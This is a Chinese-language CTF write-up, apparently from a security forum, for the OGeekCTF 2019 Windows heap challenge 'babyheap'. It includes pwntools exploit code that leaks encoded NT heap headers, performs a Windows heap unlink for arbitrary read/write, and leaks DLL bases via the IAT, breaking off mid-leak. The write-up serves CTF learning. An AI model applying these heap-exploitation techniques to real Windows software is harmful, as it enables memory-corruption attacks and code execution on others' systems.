一道很经典的 win pwn ,根据出题人的意思,该题是受WCTFLazyFragmentationHeap启发而得来的。

源程序下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/ogeekctf2019/pwn/babyheap

在这里先感谢出题人m4xWCTF的一位大佬Angelboy的指点。

babyheap

源码:https://github.com/bash-c/pwn_repo/tree/master/oGeekCTF2019_babyheap_src

漏洞点

程序流比较简单,直接就是polish存在堆溢出。

void polish()
{
    int idx = -1;
    puts("\nA little change will make a difference.\n");
    puts("Which one will you polish?");
    scanf_wrapper("%d", idx);

    if (idx < 0 || idx >= 18)
    {
        puts("error");
        return;
    }

    if (g_inuse[idx])
    {
        int size = 0;
        puts("And what's the length this time?");
        scanf_wrapper("%d", size);
        puts("Then name it again : ");

        read_n(g_sword[idx], size); // heap overflow
    }
    else
    {
        puts("It seems that you don't own this sword.");
    }
}

leak heap header

Windows 10 使用的是Nt heap,对于使用中的堆块和free的堆块头部都会用_HEAP->Encoding进行异或加密,用来防止堆溢出,所以我们要先leak出free的堆块头部加密后的内容,否则我们堆溢出时会被check。

sh.recvuntil('gift : 0x')
image_base = int(sh.recvuntil('\r\n'), 16) - 0x001090
log.info('image_base: ' + hex(image_base))

for i in range(6):
    add(0x58, '\n')

destroy(2)

# leak free heap header
free_heap_header = ''
while(len(free_heap_header) < 8):
    head_length = len(free_heap_header)
    polish(1, 0x58 + head_length, 'a' * (0x58 + head_length) + '\n')
    check(1)
    sh.recvuntil('a' * (0x58 + head_length))
    free_heap_header += sh.recvuntil('\r\n', drop=True) + '\0'

free_heap_header = free_heap_header[:8]
# recover
polish(1, 0x60, 'a' * 0x58 + free_heap_header)

这里特别要注意的是,使用中的heap 头部和 free 的heap 头部并不相同,所以一定不能leak错了。

Windows heap unlink

这个以前从来没有见过,和Linux的unlink差别挺大的,原理可以用下面的代码简单描述一下:

#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char* ptr[0x10];

int main()
{
    HANDLE heap = HeapCreate(HEAP_NO_SERIALIZE, 0x2000, 0x2000);
    setbuf(stdout, NULL);
    ptr[0] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
    ptr[1] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
    ptr[2] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
    ptr[3] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
    ptr[4] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
    ptr[5] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
    HeapFree(heap, HEAP_NO_SERIALIZE, ptr[2]);
    HeapFree(heap, HEAP_NO_SERIALIZE, ptr[4]);
    *(void**)(ptr[2]) = &ptr[2] - 1;
    *(void**)(ptr[2] + 4) = &ptr[2];
    printf("%p: %p\n", &ptr[2], ptr[2]);
    HeapFree(heap, HEAP_NO_SERIALIZE, ptr[1]);
    printf("%p: %p\n", &ptr[2], ptr[2]);
    return 0;
}

其作用就是让ptr[2]指针指向自己,这个和Linux有点像。

destroy(4)
polish(1, 0x58 + 8 + 8, 'b' * 0x58 + free_heap_header + p32(ptr_addr + 4) + p32(ptr_addr + 8) + '\n')
destroy(1)

然后再用后门功能使得unlink后的指针可以进行编辑。

sh.sendlineafter('choice?\r\n', '1337')
sh.sendlineafter('target?\r\n', str(g_inuse_addr + 2))
polish(2, 4, p32(ptr_addr + 12) + '\n')

完成这些操作后,我们就能利用index_2来操作index_3指针的指向,实现任意地址读写。

泄露地址信息

这个和Linux 差不多,只不过Linux 是 got 表,而 Windows 是 iat 表。至于iat具体在哪个dll动态库里面,这个可以用IDA或者PE工具来查看。

其查询结果如下所示:

.idata:00403000 ; Imports from KERNEL32.dll
.idata:00403000 ;
.idata:00403000 ; ===========================================================================
.idata:00403000
.idata:00403000 ; Segment type: Externs
.idata:00403000 ; _idata
.idata:00403000 ; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize)
.idata:00403000                 extrn HeapCreate:dword  ; CODE XREF: .text:0040111A↑p

我们会在后面需要ntdll的地址,而ntdll并不在babyheap的导入表中,所以我们需要从KERNEL32中进行泄露。

# leak dll base addr
puts_iat = image_base + 0x0030C8 # ucrtbase.dll
Sleep_iat = image_base + 0x003008 # KERNEL32.dll

polish(2, 4, p32(puts_iat) + '\n')
check(3)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]
ucrtbase_addr = u32(result) - 0xb89b0
log.success('ucrtbase_addr: ' + hex(ucrtbase_addr))

polish(2, 4, p32(Sleep_iat) + '\n')
check(3)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]
点击收藏 | 1 关注 | 2
登录 后跟帖